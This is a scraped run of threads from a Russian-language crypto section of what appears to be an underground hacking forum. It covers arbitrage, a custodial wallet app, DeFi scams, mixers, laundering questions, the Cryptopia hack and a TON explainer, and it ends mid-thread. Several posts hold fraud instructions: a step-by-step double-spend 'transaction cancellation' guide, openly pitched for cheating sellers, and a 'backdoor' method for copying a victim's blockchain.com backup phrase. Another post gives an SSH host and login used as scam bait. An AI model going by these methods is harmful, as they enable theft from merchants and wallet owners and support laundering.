Last Post: 2022-08-02T23:52:55+0000
Author: FerdinandDemara
Prefix: Статья
Replies: 35 Views: 4K

ПРЕДИСЛОВИЕ

**ЭТО КОПИПАСТА, О ЧЁМ НАПИСАЛ СРАЗУ В НАЗВАНИИ. На XSS не видел - решил запостить.
Если это как-то нарушает правила форума, сообщите мне - всё решим, всё исправим. С правилами ознакомлен, но, вы, наверное, шарите лучше меня. В этой статье будет сначала общая теория, а потом глубокая конкретика (в виде архива с большим курсом по арбитражу 2022 на 5.5гб)

*А ещё оцените мою авторскую статью на конкурс - /threads/66377/ ***

В этой статье мы расскажем про арбитраж между криптовалютами: что это такое, какие биржи можно использовать, какие сервисы и боты для этого есть и реально ли заработать на арбитраже?
Главное правило в основе арбитража: купи дешевле, продай дороже. В общем, если вам удается покупать по низкому курсу на одной площадке, моментально переводить монеты на другую, и там продавать дороже, чтобы покрыть комиссии и заработать, вы делаете межбиржевой арбитраж криптовалют.
Поскольку криптовалютный трейдинг только зарождается, но рынки существуют по всему миру, между биржами могут быть существенные различия в цене. Трейдер пользуется этой разницей курсов.
Звучит просто, но в этой схеме есть несколько серьезных рисков, о которых нужно знать, чтобы обеспечить себе заработок на арбитраже криптовалюты.​

Что такое арбитраж криптовалют?​

Это покупка и мгновенная продажа криптовалюты на разных рынках с целью получить прибыль от разницы в курсах (спрэде) между ними.
Самая простая схема арбитража между биржами криптовалют:​

Важная скорость, поэтому используются сканеры криптовалют, боты для переводов и другие программы, автоматизирующие процесс.
Арбитраж появился давно, он существует и на фондовых и валютных рынках. Но на традиционных биржах торговать по этой схеме сложнее, потому что цены держатся примерно на одном уровне. Но в мире криптовалют, где еще есть потенциал для роста, а объем торгов может наращиваться в отдельных регионах, такая возможность остается. Эту возможность оставляют и биржи, которые неэффективно сотрудничают между собой, что приводит к высокому спрэду.
Известные биржи, которые собирают ликвидность (у которых много пользователей и постоянные торги) управляют ценой остальной части рынка, а более мелкие биржи подчиняются общему тренду. Тем не менее на локальных биржах происходит задержка изменения курса, и это открывает возможность арбитража на биржах криптовалют.​

Как работает арбитраж?​

Арбитраж становится возможным из-за разницы в объемах торгов между двумя отдельными рынками. Причина проста: на рынке с большими объемами, где есть достаточно предложений по монете, цены, скорее всего, дешевле. Но на рынке, где предложение данной монеты ограничено, она будет дефицитнее, а значит, курс выше.
Иногда это работает в противоположном направлении: можно брать монеты на маленькой бирже и продавать на большой. Обычно, токен дешевле торгуется на 2p2-обменниках и тех площадках, где нет верификации.
Всплеск популярности криптовалюты в начале 2018 года привел к резкому увеличению. По всему миру начались активные торги, и на биржи попало много денег. Но биржи не входят в единый альянс, не используют общую политику, в общем никак не договариваются. Низкий объем на некоторых биржах приводит к тому, что курс не сразу адаптируется к средней цене по всему миру.
Самый известный прецедент различий в ценах криптовалюты — Kimchi Premium. В январе 2018 года курс биткоина в Южной Корее был на 50% выше по сравнению с мировыми ценами.
Есть несколько видов арбитража по степени автоматизации:​

Есть несколько видов арбитража по выбранной стратегии:​

Подробнее про виды арбитража на классическом рынке можно узнать из видео:

Простой пример​

Шаг 1: Бот сигнализирует о разнице в цене: XRP/USDT на бирже А стоит $0,355470; на бирже Б — $0,377364.
Шаг 2: Проверяю ликвидность бирж.
Шаг 3: На бирже А покупаю XRP на 1000 долларов. Комиссия 0.2%. Получаю 2807 XRP.
Шаг 4: Перевожу XRP на биржу Б, вывод XRP бесплатен.
Шаг 5: Получаю XRP на аккаунте бирж Б.
Шаг 6: Продаю 2807 XRP по курсу $0,377364. Получаю 1059,26 долларов.
На арбитраже криптовалюты гипотетически удалось заработать почти $60.
Среди преимуществ арбитража называют:​

Сканер для арбитража​

Есть множество программ разной стоимости и функциональности. Мы собрали некоторые по отзывам:​

О чем важно помнить​

То, что зарабатывать на арбитраже криптовалют можно, не оспоримо. Но этот путь может показаться излишне простым. Нельзя забывать о высоких рисках любых предприятий с деньгами, особенно на криптовалютных рынках.
Вот несколько советов для новичков:​

АРХИВ НА ПОЛНЫЙ КУРС 2022 (5.5ГБ) - cloud.mail.ru/public/8Wk9/3m2WarDkL​

XSS Blockatom Wallet - Bitcoin кошелёк
ID: 67686ad7b4103b69df37999c
Thread ID: 60721
Created: 2021-12-31T10:33:53+0000
Last Post: 2022-02-04T17:55:53+0000
Author: sensords
Replies: 44 Views: 4K

Криптовалютный проект Blockatom wallet, это Десктопное приложение для управления своими Bitcoin а так же клиент Telegram bot.

Вся суть проекта в том что это самый обычный кошелёк для получения и отправки монет, но все средства пользователей этого кошелька храняться на вашем дочернем кошельке, через который они производят получение,генерацию адресов и отправки монет, это некий централизированый кошелёк только со стороны средств, что бы сделать адреса пользователей дочерними к вашему кошельку, достаточно в код прописать вашу seed фразу через которую програма пройдёт иерархию для создания уникального адреса, Wallet Import Format , public key, для осуществления транзакций.

Весь проект написан на Python 3.8.5 + QT

Проект продавался:

Spoiler: Объявление о продаже

В продажу входит:
1. сайт (исходный код) -

https://imgur.com/muDqQrH

2. Десктоп приложение (исходный код) -

https://imgur.com/WfmJOHC

3. Telegram бот (исходный код)

При покупке возможно дописать и внести ваши дополнения! А так же консультация

Цена - $3000

Если требуется поддтверждение писать на @Blockatom_support (Telegram)
По остальным вопросам - консультации, покупки, тех вопросов писать на sensords (Telegram)

Теперь выложен бесплатно:

github.com

[ GitHub - sensords/XssBitcoinWallet

](https://github.com/sensords/XssBitcoinWallet.git)

Contribute to sensords/XssBitcoinWallet development by creating an account on GitHub.

github.com github.com

Что творится с Шибой?
ID: 67686ad7b4103b69df3799c4
Thread ID: 58246
Created: 2021-10-27T15:55:12+0000
Last Post: 2021-11-24T16:56:34+0000
Author: Vespiary
Replies: 118 Views: 4K

Бешенный скачек пошёл. Успел кто то заработать ? Я в апреле по фану взял на 10$ , вышло 50 млн shib, в середине мая продал , вышло 1к $, а сейчас смотрю и понимаю , то что рано продал

Смерть DEFI и Криптовалют в целом
ID: 67686ad7b4103b69df3799d9
Thread ID: 56409
Created: 2021-09-08T09:17:11+0000
Last Post: 2021-10-14T18:43:09+0000
Author: AMG_1337
Replies: 89 Views: 4K

Незнаю в какую ветку запостить, P.S админ перенеси если что туда куда нужно = )

Эта статья(новость) создана исключительно для сбережения ваших средств.

Хочу затронуть рынок криптовалют а особенно проекты DeFi, так называемые монетки которые создаются на базе блокчейна определённой криптовалюты ака ETH,BNB,MATIC,COSMOS,POLYGON и т.д, не имея никакой технологии за собой в целом.

Сейчас идёт очень большой хайп среди DeFi проектов, где можно купить немного монет и получать % дивиденды с фарминга, так называемые огороды. Так же огороды (DefI) предлагают создать связки монет по типу usdt/busd , btc/(монетапроекта) и вложить их в свой смарт контракт. Вы наверное видели новости о том что большинство DeFi проектов были взломаны под средством Flash Loan attack (Мгновенные кредиты) под видом которых потом из за плохого рассчета контракта, кибермошенник может вывести все средства(Ликвидность) из пула. Так же существуют другие типы атак, скама и т.д.

High risk контракты, самые опасные котракты в DeFi, определить их не так просто без знания Solidity, данный тип контрактов может удержать все ваши средства внутри контракта и разработчик контракта сможет похитить все ваши средсвта в 1 клик, так же есть контракты которые могут похитить все ваши средства с кошелька как только вы его одобрите.

DeFi в ковычках это "Дец фин сервисы" которые якобы борятся за свободу и т.д, но на самом деле это не так, все DeFi построенные по принципу пирамиды как и криптовалюты в целом, сейчас по статистике CMC на рынке около 11 751 криптовалют не считая Total ShitCoins. Кто то делает блокчейны, а кто то просто создает экосистему на этих блокчейнах клепая безсмысленные монеты обещая вам х10000 роста и т.д.

NFT - очередное говно для лохов, с приходом DeFi появились и NFT, которые щас клепают как горячие пирожки, люди выкупают всё это дерьмо в надежде того что это будет стоить миллиарды в будущем, но поверьте никому не нужен ваш (ГовноКод и картинка в интернете) так же из 100% NFT, останется 1-2% годных NFT а остальные 98% можно будет выбросить в мусорку которые вы купите за 100-1000 и выше$.

В целом по состоянию рынка, на сегодняшний день хайп вокруг крипто индустрии начинает нагреватся еще сильнее с принятием криптовалют на официальном уровне. Каждый 2 мечтает что вот сейчас он купит каждой монеты по немногу и через пару лет станет миллионером, (Возможно станете, если зайдете или зайдете вовремя).

Криптовалюты работают по принципу пирамид как я говорил ранее, кто то купил дешевле, кто то дороже, в итоге тот кто купил дешевле - продает дороже, а тот кто купил дороже - остается у разбитого корыта и начинает продавать еще дешевле.

Механизм Burn - вот это прям для лохов максимально было создано, внушить людям что сжигая монеты они будут становится дороже, посмотрите на проект DeFi (polycat) эмиссия монет 3.000.000, разработчики уверяли людей что они смогут получать дивиденды как только эмиссия приблизится к концу, по итогу умные люди начали выводить свои средства, и токен обвалился с 68$ до 1.8$ - на минуточку это топ 1 проект на блокчейне polygon(matic). Так будет с каждым проектом DeFi в любой эко системе блокчейна, потому что это одним словом это пирамида.

Взломы DeFi - вот это моё любимое, нашумевшие взломы, каждый раз заголовки что у кого то там похитили сотни миллионов долларов. В основном дыры создают заранее разработчики, дабы сбежать с вашими деньгами, изначально завлечь по больше лохов, поставить хороший % на добычу блока, а затем просто написать что нас взломали, 99% закрывались сразу же после взлома и исчезали, так же анализируя DeFi эко систему, я видел что один и тот же человек создавал очень много схожих DeFi проектов на своём аккуанте github, вёл их пару недель а затем тупо закрывал под видом взлома. Как говорится хочешь много денег? Открой свой DeFi и продавай толпе свои говно-монеты.

Slow Rug - больная тема всех крипто инвесторов в DeFi, каждый мечтает сидеть вложив деньги получать % и ничего не делать, разработчики заранее разрабатывают контракты так, что бы часть добычи с блоков падала к ним на кошелек, они божатся своими семьями, дедами, бабками и т.д что никогда не продадут свои монеты и т.д, но в оконцовке мы видим одно, как только ликвидность проекта собирает хорошие деньги, разработчики резко перемещают токены со своих адресов и начинают их продавать обрушая цену токена до 0, ведь они продают воздух и ничего не теряют а на проект им вообще похер, ведь на кону миллионы долларов и даже сотни миллионов = )

ICO SCAM - в простонароде ай си О, куплю по дешевле и через пол года сделаю иксы, куплю дом яхту и т.д. Вот это единственное место где можно подорвать неплохие деньги, но опять же задался тренд, выпускать обложку(сайт), путь он же roadmap, собрать деньги с бобров, наобещать супер мега технологии и в оконцовке забить хер, сбежав со средствами вкладчиков. Ведь ты анонимный и никто тебя никогда не найдет.

Вывод один, инвестируйте в блокчейны с умом а лучше их создавайте, а не во всякий шлак по типу дефи нфт и т.д, изучайте проект DYOR(Do your own research

Миксер или BTC -> XMR -> BTC - что лучше?
ID: 67686ad7b4103b69df379a06
Thread ID: 51151
Created: 2021-04-27T21:16:10+0000
Last Post: 2021-07-28T07:25:06+0000
Author: passmeriam
Replies: 23 Views: 4K

Что лучше с точки зрения неотслеживаемости?

Что случилось с blockchain ?
ID: 67686ad7b4103b69df379a31
Thread ID: 49125
Created: 2021-03-09T12:13:22+0000
Last Post: 2021-03-15T22:07:58+0000
Author: apps
Replies: 33 Views: 4K

Народ у кого работает blockchain? вернее кто может зайти на web или мобильную версию?

69 000 (шестьдесят девять тысяч) биткойнов сдвинулись с взломанного кошелька
ID: 67686ad7b4103b69df379a54
Thread ID: 43888
Created: 2020-11-03T22:34:20+0000
Last Post: 2020-11-24T12:03:55+0000
Author: petroglyph
Replies: 17 Views: 4K

69 000 (шестьдесят девять тысяч) биткойнов сдвинулись с предположительно взломанного кошелька

![www.blockchain.com](/proxy.php?image=https%3A%2F%2Fwww.blockchain.com%2Fexplorer- frontend%2F_next%2Fimage%3Furl%3D%2Fimages%2Fexplorer_og.png%26w%3D384%26q%3D75&hash=7afcff259027807d7dd1cbdf430f84c5&return_error=1)

Transaction: 3f036ff88bb851b57a1e28780dbce35a6457a8b57995c095b55b3b0cf48ba9fd | Blockchain.com

The easiest and most trusted transaction search engine and block explorer.

www.blockchain.com www.blockchain.com

памянем курс биткойна

Что происходит с bitcoin blockchain?
ID: 67686ad7b4103b69df379a5a
Thread ID: 43709
Created: 2020-10-29T20:03:21+0000
Last Post: 2020-11-01T20:50:55+0000
Author: lukas
Replies: 20 Views: 4K

Кто объяснит, а что вообще происходит? Транзы висят мертво, мемпул забит наглухо, комиссии безумные

Pool transactions 151 729
Best fee 295.15 ś/vByte
Hashrate 103.38 EH/s

Click to expand...

вообще никогда не помню, чтобы в пуле висело почти 152 тысячи неподтвержденных транз. вроде и хешрейт нормальный
из-за чего все это?

Способ отмены транзакции Bitcoin - 2020
ID: 67686ad7b4103b69df379a75
Thread ID: 37087
Created: 2020-05-02T11:43:13+0000
Last Post: 2020-07-04T07:56:11+0000
Author: Рыцарь
Replies: 16 Views: 4K

Способ отмены транзакции Bitcoin

Отмена работает в течении 10 мин, не более.
Почему это удобно использовать?

  1. Есть некоторые сайты по приёму биткоинов, которые зачисляют мгновенно без подтверждение транзакции, сами ищите их. (можно отменить)
  2. Если транзакция зависла или вы случайно отправили не ту сумму. (можно отменить)
  3. Если хотите обманом купить что то у кого то. (можно отменить)

И так начнём

Перед тем, как совершать финансовые операции нам нужно экспортировать ключ(wallet.dat)

  1. В кошельке перейдите в отладочную консоль (Помощь — Окно отладки — Консоль) (Help – Debug window – Console) 1.png

  2. В консоли пишем dumpwallet bhf (где bhf любое имя) и нажимаем Enter.
    В результате появится файл со списком всех приватных ключей и адресов
    *\Bitcoin\bhf

  3. Теперь отправляем N - кол-во BTC на адрес ...

  4. Убедитесь, что транзакция неподтвержденная
    2.png

  5. Выходим с кошелька
    3.png

  6. Идём в папку и удаляем файл wallet.dat (на всякий случай сохраните в другое место, это ваш кошелек с текущим балансом)
    4.png

  7. Снова заходим в Bitcoin Core открываем консоль и пишем importwallet bhf (где bhf ваше имя файла) и нажимаем Enter.
    Начнется импорт всех приватных ключей и адресов, а далее пойдет рескан цепочки.
    Это может занять достаточно много времени, но в любом случае дайте ему завершиться, примерно 2-3 мин до завершения.

  8. На балансе будут ваши биткоины + в нижнем углу придет входящая транзакция, которую вы отправили ранее.

Если сделать это в течении 10 мин пока нету 1 подтверждения транзакции, ваши средства возвращаются.

[https://github.com/petertodd/replace-by-fee- tools](https://href.li/?https://href.li/?https://github.com/petertodd/replace- by-fee-tools)

Бэкдор кошелька blockchain.com

Бывало ли у вас, что зайдя на blockchain вы видите хорошие транзакции, но на балансе либо ноль, либо какая-то маленькая сумма? У меня - да. В этой ситуации оптимальным (на мой взгляд) решением будет бекдор кошелька.

В чем суть?

Во вкладке Security center мы делаем бекап фразу кошелька и сохраняем себе. Все. Вы превосходны
5.png
Если у юзера она уже есть - тем лучше, он не обратит внимания на новую галочку в настройках.

Также мы можем чекать баланс кошелька по биткоин адресу и xpub на blockchain.
Последний можно получить в Settings > Wallets and Addresses > Manage > Show xpub
6.png

[ Работа с Electrum, Отмена транзакции Bitcoin!.mp4 -- Радикал-Видео

](https://radikal.ru/video/P7JKNBEC7f6)

Радикал-Фото - сервис публикации изображений для форумов и блогов: Видео

radikal.ru

крипта и банк
ID: 67686ad7b4103b69df379a88
Thread ID: 34869
Created: 2020-02-10T08:43:05+0000
Last Post: 2020-02-29T15:48:42+0000
Author: yasomeone
Replies: 19 Views: 4K

После отмывки черной крипты деньги попадают на ваш счет, но есть один вопрос. Люди заинтересуются откуда у тебя взялись эти деньги и какие мазы можно лепить? Был ли у вас такой опыт?

Генерация ключей и адресов
ID: 67686ad7b4103b69df379a8d
Thread ID: 33891
Created: 2019-12-17T07:02:55+0000
Last Post: 2019-12-19T11:51:52+0000
Author: Ar3s
Replies: 9 Views: 4K

Всем доброго времени суток.
Заинтересовал один сервис, который якобы по публичному ключу генерирует множество адресов для оплаты.
Все что гуглилось указывало на то, что с одного публичного ключа можно сгенерить только один адрес оплаты.
Может я что-то не правильно понимаю, поясните этот момент кто владеет вопросом.

Материалы по теме

![www.freecodecamp.org](/proxy.php?image=https%3A%2F%2Fcdn- media-1.freecodecamp.org%2Fimages%2F1%2AyrGW1KubP_JKLR1CVg074g.png&hash=ac2a0087e2cf8c46aed978fb51585c72&return_error=1)

[ How to create a Bitcoin wallet address from a private key

](https://www.freecodecamp.org/news/how-to-create-a-bitcoin-wallet-address- from-a-private-key-eca3ddd9c05f/)

In the previous article [https://www.freecodecamp.org/news/how-to-generate- your-very-own-bitcoin-private-key-7ad0f4936e6c/] , we looked at different methods to generate a private key. Whatever method you choose, you’ll end up with 32 bytes of data. Here’s the one that we got at the end of that...

www.freecodecamp.org www.freecodecamp.org

medium.com

[ How to Generate a Bitcoin Address — Step by Step

](https://medium.com/coinmonks/how-to-generate-a-bitcoin-address-step-by- step-9d7fcbf1ad0b)

Here is a bash script that does what is outlined below: https://gist.github.com/JBaczuk/dab51daf6280f6a2d4b58897d6b36e9b

medium.com medium.com

www.cryptocompare.com

[ How to create a Bitcoin address from a Public Key?

](https://www.cryptocompare.com/wallets/guides/how-to-create-a-bitcoin- address-from-a-public-key/)

How to create a Bitcoin address from a Public Key?

www.cryptocompare.com www.cryptocompare.com

habr.com

[ Bitcoin in a nutshell â Cryptography

](https://habr.com/ru/post/319868/)

Ðдна из пÑиÑин, поÑÐµÐ¼Ñ Bitcoin пÑÐ¾Ð´Ð¾Ð»Ð¶Ð°ÐµÑ Ð¿ÑивлекаÑÑ ÑÑолÑко Ð²Ð½Ð¸Ð¼Ð°Ð½Ð¸Ñ â ÑÑо его иÑклÑÑиÑелÑÐ½Ð°Ñ Â«Ð¼Ð°ÑемаÑиÑноÑÑÑ». СаÑоÑи ÐакамоÑо ÑдалоÑÑ ÑоздаÑÑ ÑиÑÑемÑ, коÑоÑÐ°Ñ ÑпоÑобна ÑÑнкÑиониÑоваÑÑ Ð¿Ñи...

![habr.com](/proxy.php?image=https%3A%2F%2Fassets.habr.com%2Fhabr- web%2Fimg%2Ffavicons%2Ffavicon-16.png&hash=92e2dae146214fab23606c51ef42d36d&return_error=1) habr.com

github.com

Destiner/blocksmith

Bitcoin/Ethereum key manipulation. Contribute to Destiner/blocksmith development by creating an account on GitHub.

github.com github.com

Click to expand...

Интересует код на php/python/go который будет генерить множество валидных адресов для одного публичного ключа. Если такое вообще возможно.
Спасибо.

Криптовалюта Telegram (TON, Gram, TON-блокчейн)
ID: 67686ad7b4103b69df379a9a
Thread ID: 31666
Created: 2019-09-10T13:25:56+0000
Last Post: 2019-10-09T21:12:59+0000
Author: tabac
Replies: 15 Views: 4K

Ты наверняка уже слышал про TON — проект Павла Дурова и разработчиков Telegram, связанный с блокчейном, криптовалютами и децентрализацией. В этой статье я расскажу о том, что нас ждет, и почему TON — не просто очередной блокчейн.

Очень долго в разговорах не было конкретики: Дуров ничего не объявлял официально, а разные источники расходились во мнениях о том, что же такое TON. Первые достоверные новости появились в феврале 2018 года, когда Павел Дуров зарегистрировал компании TON Issuer и Telegram Group в Комиссии по ценным бумагам и биржам США (SEC). За два раунда закрытого ICO команде удалось привлечь инвестиции в размере 1,7 миллиарда долларов.

И хотя никаких публичных заявлений Дуров не делал, работа над проектом идет вовсю. Документация и код TON доступны всем желающим по адресу test.ton.org, а на GitHub появилась организация ton- blockchain, которая опубликовала исходный код TON Blockchain Software.

Эта статья основана на текущей версии white paper (PDF) и доступном коде по состоянию на момент подготовки (см. дату публикации). TON — проект, который находится в активной разработке; прямо сейчас запущена только тестовая сеть. У меня нет информации о том, какие изменения будут внесены в этот проект.

Что такое TON?
TON расшифровывается как Telegram Open Network. В первую очередь это платформа, одним из ключевых компонентов которой является TON Blockchain. Сам по себе TON блокчейном не является — скорее это децентрализованный суперкомпьютер, в основе которого лежит блокчейн. В TON входят следующие компоненты.

TON Blockchain
Это ключевой компонент TON. Он представляет собой не просто блокчейн, а коллекцию разных блокчейнов.

Все это было придумано для решения двух острых проблем. Первая проблема — размер блокчейна, который непрерывно растет и в случае с Bitcoin в 2019 году [перевалил за 200 Гбайт](https://charts.bitcoin.com/btc/chart/blockchain- size#5ma4). Большинство криптовалют требуют хранить и синхронизировать весь блокчейн, и это становится все более накладно с ростом сети. Вторая проблема заключается в том, что для внесения серьезных инфраструктурных изменений часто требуется «пересоздать» блокчейн, то есть сделать форк.

TON решает первую проблему с помощью Infinite Sharding Program, как она называется в документе. Чтобы объяснить, как это работает, лучше зайти издалека. Начнем с того, что workchain — это на самом деле виртуальный блокчейн, объединяющий несколько шардов. Идентификатор воркчейна является частью идентификатора конкретного шарда, благодаря которому можно понять, к какому воркчейну относится тот или иной шард.

Создать воркчейн может каждый, кто готов оплатить высокую стоимость транзакции в мастерчейне и опубликовать спецификацию и «правила» нового воркчейна. Тем не менее требуется консенсус двух третей текущих валидаторов, так как им придется обновить ПО для работы с блоками нового воркчейна.

Каждый шард имеет следующий идентификатор в виде кортежа: workchain_id и префикс самого шарда. Префикс отвечает за те аккаунты (адреса), которые будут включены в шард. Например, если префикс 1337, то все адреса, которые начинаются с 1337, будут в этом шарде. Префикс может динамически меняться и иметь длину от 0 до 60 бит. Сделано это для того, чтобы склеивать шарды без нагрузки и разделять нагруженные шарды.

Accountchain — еще один виртуальный блокчейн, который имеет идентификатор в виде кортежа: workchain_id и идентификатор самого аккаунта.

Майнинг
Вместо привычного перебора хешей на видеокартах в TON используется одна из вариаций PoS-алгоритма, которая решает проблему византийских генералов (далее — BFT): в результате для консенсуса требуется две трети валидаторов.

Новые блоки создаются и проверяются валидаторами. Любой может стать валидатором, если он готов заложить много GRM в мастерчейн, подтвердив таким образом свои намерения. Такой «залог» замораживается минимум на месяц. На данный момент для того, чтобы стать валидатором в тестовой сети, нужно 100 000 GRM (тестовых, конечно же).

Валидаторы распределяются между всеми существующими шардами в случайном порядке. Примерно каждые 1024 блока валидаторы меняют шард, в котором они «работают». В рамках одного шарда валидаторы выбирают новый блок (благодаря BFT). Если консенсус был достигнут, то формируется новый блок, комиссии с транзакций и эмиссия в этом блоке распределяются между валидаторами. Один и тот же валидатор может валидировать несколько шардов — подразумевается, что он будет проделывать эту работу параллельно.

Если валидатор выбрал «неверный блок», то он может быть оштрафован на всю сумму или часть его залога. Валидатора также могут отстранить от работы на какое-то время. Когда все шарды сформировали новые блоки (или после тайм-аута, предположительно, в пять секунд), генерируется блок для мастерчейна, который содержит хеши всех новых блоков в шардах. В свою очередь, этот блок формируется благодаря консенсусу всех валидаторов в системе.

Исправление ошибок
Я посвящаю исправлению ошибок отдельный параграф, так как это очень интересный вопрос в мире блокчейна (вспомни историю The DAO и Ethereum Classic) и меня очень много о нем спрашивали на последнем выступлении про TON.

Конечно, ошибок быть не должно, так как для консенсуса требуется две трети валидаторов, но в системе заложено обнаружение и исправление «неправильных» блоков. Предположим, что был обнаружен «неправильный» блок, и валидаторов, которые подписали этот блок, наказали. Но система все еще имеет неправильный блок — так что этих мер недостаточно.

В большинстве других систем для этого требуется форк с последнего «правильного» блока. Такой подход имеет множество недостатков: его сложно реализовать, нужно убедить всех участников перейти на новую сеть после форка; и не менее остро стоит вопрос о том, что делать с правильными транзакциями, которые были совершены уже после «неправильного» блока.

TON Blockchain решает эту проблему следующим образом. Каждый блок в шарде (и в мастерчейне тоже) является блокчейном, который по умолчанию состоит из одного блока. Если требуется исправить «неверный» блок, то этот маленький блокчейн вырастает еще на один блок, который и заменяет предыдущий. Этот блок также генерируется валидаторами, которые в данный момент работают в шарде.

При этом отдельно упоминается, что блоки в виртуальном accountchain не будут изменены, если они были правильные. Подразумевается, что в новом блоке будут исправлены только «неверные» транзакции, но это не затронет правильные.

Cмарт-контракты
Смарт-контракты в TON позволяют написать бизнес-логику, которая будет выполняться децентрализованно. Контракты полноценные по Тьюрингу, и их предлагается писать на языке Fift. Fift — новый язык программирования, созданный специально для TON; он имеет определенные сходства с Forth.

Для выполнения смарт-контрактов была написана виртуальная машина — TON VM (Ton Virtual Machine). Но не стоит забывать, что воркчейн вместе с другими определяющими параметрами может иметь собственную виртуальную машину и собственный язык для смарт-контрактов. Именно поэтому я не буду заострять внимание на Fift и TON VM в этой статье.

Подробности о Fift и TON VM можешь почерпнуть в документации проекта.

Смарт-контракты в TON используются повсеместно: в TON Storage, TON DNS и других сервисах. Для валидации блоков и консенсуса тоже используются смарт- контракты. Как ты уже понял, TON — платформа очень самодостаточная и совершенно не зависит от внешних факторов. Стоит еще упомянуть, что каждый аккаунт формально может являться смарт-контрактом.

Замечу на полях, что компания TON Labs готовит компиляторы для других языков программирования, чтобы писать смарт-контракты можно было не только на Fift. Компиляторы для C и Solidity уже можно посмотреть на ton.dev.

TON DNS
TON DNS — один из сервисов TON. Используется для преобразования понятных человеку идентификаторов (доменные имена, адреса) в адреса ADNL и адреса TON Blockchain.

Использовать TON DNS можно, например, для передачи денег по идентификатору вместо адреса кошелька. Это сильно упрощает дело, потому что теперь можно перевести сумму на понятный адрес или имя пользователя. Также идентификатор можно перенаправить на смарт-контракт — например, выставляем счет на оплату в каком-то магазине, а после перевода контракт обработает платеж.

Сам TON DNS реализован в виде нескольких специальных смарт-контрактов. Эти смарт-контракты представляют собой древовидную структуру. Каждый из них отвечает за регистрацию поддоменов для определенной зоны или домена. Корневой контракт, который обслуживает домены первого уровня сети TON, находится в мастерчейне.

Регистрация нового домена (идентификатора) реализуется через отправку сообщения в смарт-контракт, который отвечает за желаемый поддомен. Это стоит определенной суммы (как и все передаваемые сообщения); указываются ключ, владелец, сроки регистрации. Идентификаторы регистрируются в порядке очереди — кто успел, того и тапки.

Опуская совсем низкоуровневые детали, можно резюмировать, что TON DNS имеет более широкое применение, чем DNS в привычном понимании этого слова. Учитывая возможности TON Blockchain, ADNL и смарт-контрактов, за идентификатором может скрываться как обычный кошелек, так и полноценный сервис с бизнес-логикой.

ADNL
ADNL — собственный протокол, основной для TON. Это протокол, который используется на самом низком уровне. Главное его преимущество — не нужно беспокоиться об адресах IPv4/IPv6, портах и т.д.: они все скрыты абстрактным сетевым уровнем. Для обмена данными используются 256-битные сетевые адреса (названные «абстрактными сетевыми адресами»). Если говорить простым языком, это аналог SSL по UDP. Чтобы принимать и расшифровывать сообщения, предназначенные для определенного адреса, необходимо иметь его приватный ключ. Для того, чтобы отправить сообщение, необходимо (помимо адреса) знать публичный ключ получателя.

С точки зрения большинства компонентов TON, существует только ADNL, с помощью которого можно отправлять сообщения с одного адреса на другой. В текущем white paper сказано, что ADNL будет реализован через UDP с опциональным откатом до TCP, если UDP будет недоступен. Еще в документе упоминается RLDP (Reliable Large Datagram Protocol) как похожий на TCP протокол более высокого уровня.

Cайт в сети TON
Теперь, когда мы знаем про ADNL и TON DNS, можно поговорить о том, как может выглядеть создание сайта в TON. Такой сайт будет децентрализованно хоститься в TON Network. Сервисы, которые полностью находятся в TON Network, называются ton-services.

В качестве примера white paper описывает создание сервиса, который принимает запросы HTTP через RLDP. Чтобы реализовать его, нужен обычный браузер и прокси-сервер, который будет переводить запросы HTTP в TON Network. Общаясь по протоколу RLDP, сервис может отвечать на запросы, а прокси-сервер будет возвращать их клиенту в привычном формате.

Стоит упомянуть, что на этом этапе можно использовать TON DNS для «коротких» адресов. Это позволяет воссоздать привычный порядок вещей. В будущем мы можем увидеть какой-нибудь TON Browser, аналогичный браузеру для сети Tor.

Заключение
Как видишь, описать TON в двух словах непросто. Это большая и сложная система, которая состоит из разных низкоуровневых компонентов, и блокчейн TON — только один из них. Но TON при этом — это не только блокчейн.

Уже в этом году мы, возможно, будем наблюдать запуск полноценной сети. Скорее всего, некоторые компоненты платформы из тех, что описаны в этой статье, будут доступны позже других.

Однако уже сейчас можно испытать клиент и сеть на тестовой ноде. Если тебе интересна эта тема и тянет на эксперименты, можешь заглянуть в blockchain explorer или даже собрать клиент и ноду.

Автор Sergey Chernikov
хакер.ру

Взломана биржа Cryptopia
ID: 67686ad7b4103b69df379a9c
Thread ID: 27304
Created: 2019-01-15T21:43:08+0000
Last Post: 2019-10-06T02:31:10+0000
Author: tabac
Replies: 6 Views: 4K

Популярная новозеландская криптовалютная биржа Cryptopia сообщила, что понесла «значительные убытки» в результате кибератаки, обнаруженной вчера, 14 января 2019 года. В настоящее время сайт биржи не работает, и не заработает, пока продолжается расследование случившегося.

Пока об атаке неизвестно практически ничего. Представители Cryptopia не сообщают никакой конкретики, неизвестен даже точный размер ущерба, причиненного торговой площадке. При этом сообщается, что к расследованию инцидента уже подключилась полиция Новой Зеландии и специальное подразделение по борьбе с преступлениями в сфере высоких технологий. По [данным правоохранителей](http://www.police.govt.nz/news/release/investigation- involving-crypto-currency-company), все началось с того, что представители биржи обнаружили подозрительную активность и неавторизованные транзакции на своей платформе.

Эксперты ИБ-компании Whale Security предполагают, что атака произошла в минувшие выходные, так как им удалось обнаружить ряд весьма странных транзакций в этот период времени. Так, был замечен перевод 48 029 306 токенов Centrality (CENNZ) с Cryptopia на неизвестный адрес (это примерно 1,2 млн долларов по текущему курсу), а также перевод 19 391 токена Ethereum (ETH), что эквивалентно 2,4 млн долларов. Впрочем, в настоящее время нет официальных подтверждений того, что эти транзакции связаны с атакой.

SSH BTC
ID: 67686ad7b4103b69df379aa0
Thread ID: 31917
Created: 2019-09-19T14:56:17+0000
Last Post: 2019-09-25T15:13:19+0000
Author: SGL
Replies: 6 Views: 4K

I didn't see something like this before:

ssh 45.9.148.48
organicswan725:adam40

Click to expand...

You need to deposit to confirm your withdrawal address. I think there's a big chance that someone deposit the required amount. Nice trick.:D

Лучший локальный кошелек для bitcoin
ID: 67686ad7b4103b69df379aa4
Thread ID: 27131
Created: 2019-01-04T12:14:24+0000
Last Post: 2019-08-10T21:04:38+0000
Author: lukas
Replies: 16 Views: 4K

Какой из локальных кошелей для хранения биткоинов посоветуете? какой используете вы?
и какой кошель считается самым безопасным?

Какую сейчас купить валюту чтобы сразу разбогатеть.
ID: 67686ad7b4103b69df379aac
Thread ID: 29636
Created: 2019-06-03T21:45:05+0000
Last Post: 2019-06-11T09:12:19+0000
Author: barik1976
Replies: 9 Views: 4K

Какую сейчас купить валюту чтобы сразу разбогатеть. есть у вас варианты.

Карта для вывода БТС в СНГ
ID: 67686ad7b4103b69df379ab8
Thread ID: 28212
Created: 2019-03-10T12:58:35+0000
